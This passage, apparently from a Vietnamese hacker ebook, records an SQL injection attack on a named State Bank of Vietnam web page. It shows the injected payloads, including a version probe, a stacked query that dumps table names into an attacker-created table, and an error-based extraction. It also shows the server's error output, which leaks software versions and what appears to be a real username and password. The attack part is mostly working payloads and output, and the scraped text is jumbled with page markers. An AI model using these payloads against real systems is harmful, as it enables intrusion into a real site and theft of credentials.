Hacker Professional Ebook part 315 docx

back lại test.html lt type vào : Trích: '; begin declare @temp varchar8000 set @temp='' select @temp=@temp+table_name+'/' from information_schema.tables select @temp as id into langtu en

Trang 1

<option value="ANGIANG">An Giang</option>

<option value="BINHDUONG">Bình Dương</option>

<option value="BINHPHUOC">Bình Phước</option>

<option value="BINHTHUAN">Bình Thuận</option>

<option value="BACGIANG">Bắc Giang</option>

<option value="HAGIANG">Hà Giang</option>

Trang 2

<option value="HAIDUONG">Hải Dương</option>

<option value="HAIPHONG">Hải Phòng</option>

<option value="HAUGIANG">Hậu Giang</option>

<option value="KHANHHOA">Khánh Hoà</option>

<option value="KIENGIANG">Kiên Giang</option>

<option value="NINHTHUAN">Ninh Thuận</option>

Trang 3

<option value="QUANGBINH">Quảng Bình</option>

<option value="QUANGNAM">Quảng Nam</option>

<option value="QUANGNGAI">Quảng Ngãi</option>

<option value="QUANGNINH">Quảng Ninh</option>

<option value="QUANGTRI">Quảng Trị</option>

<option value="SOCTRANG">Sóc Trăng</option>

<option value="THAINGUYEN">Thái Nguyên</option>

<option value="THUATHIENHUE">Thừa Thiên Huế</option>

<option value="THANHHOA">Thanh Hoá</option>

<option value="TIENGIANG">Tiền Giang</option>

Trang 4

<option selected value="TW">Trung Ương</option>

<option value="TUYENQUANG">Tuyên Quang</option>

</select></p>

</form>

oài ! thấy có cả daklak trong đó ( quê nhà mà hê hê ) thôi thì thữ coppy về và edit 1 xí xem sao :

Code:

<form name="Tim" method="post"

action="http://www.sbv.gov.vn/home/hethongTCTDHT.asp" autocomplete="on">

</form>

langtu save lại thành file test.html và mở ra type dô cái input vài dòng thữ xem sao :

Code:

' or 1=(@@version)

và submit óe nó hiện ra cái gì đây :eek: :

Trích:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on

Trang 5

Windows NT 5.2 (Build 3790: Service Pack 1) ' to a column of data type int

/home/hethongTCTDHT.asp, line 172

hề hề ! Sql inject cực nặng rồi nhé ! back lại test.html lt type vào :

Trích:

'; begin declare @temp varchar(8000) set @temp='' select

@temp=@temp+table_name+'/' from information_schema.tables select @temp as

id into langtu end

Đoạn query trên có nghĩa là gì ?? declare @temp varchar(8000) là khai báo cho

@temp rỗng và varchar(8000) ( cái này giống như kiểu khai báo biến trong các ngôn ngữ lập trình khác í mà ) tiếp theo là : set @temp='' select

@temp=@temp+table_name+'/' from information_schema.tables cái này là đặt điều kiện cho @temp seclect ra table và tiếp tục cộng thêm 1 table tiếp theo ngăn cách bằng " / " ! select @temp as id into langtu end chọn @temp ờ cột id và trong table langtu ! Chắc phần nào hiểu rồi chứ hí hí !

Ok ! sau khi submit query trên ta sẽ được trả về

http://www.sbv.gov.vn/home/hethongTCTDHT.asp và ko bị báo lỗi gì cả thì ta đã thành công !

Tiếp theo langtu sẽ select ra tất cả các table trong user data "dthai" mà sbv đang sữ dụng :

Code:

' or 1=(select id from langtu)

được :

Trích:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'levietcuong :lvc123 /' to a column of data type int

/home/hethongTCTDHT.asp, line 172

Định dạng
Số trang	5
Dung lượng	107,15 KB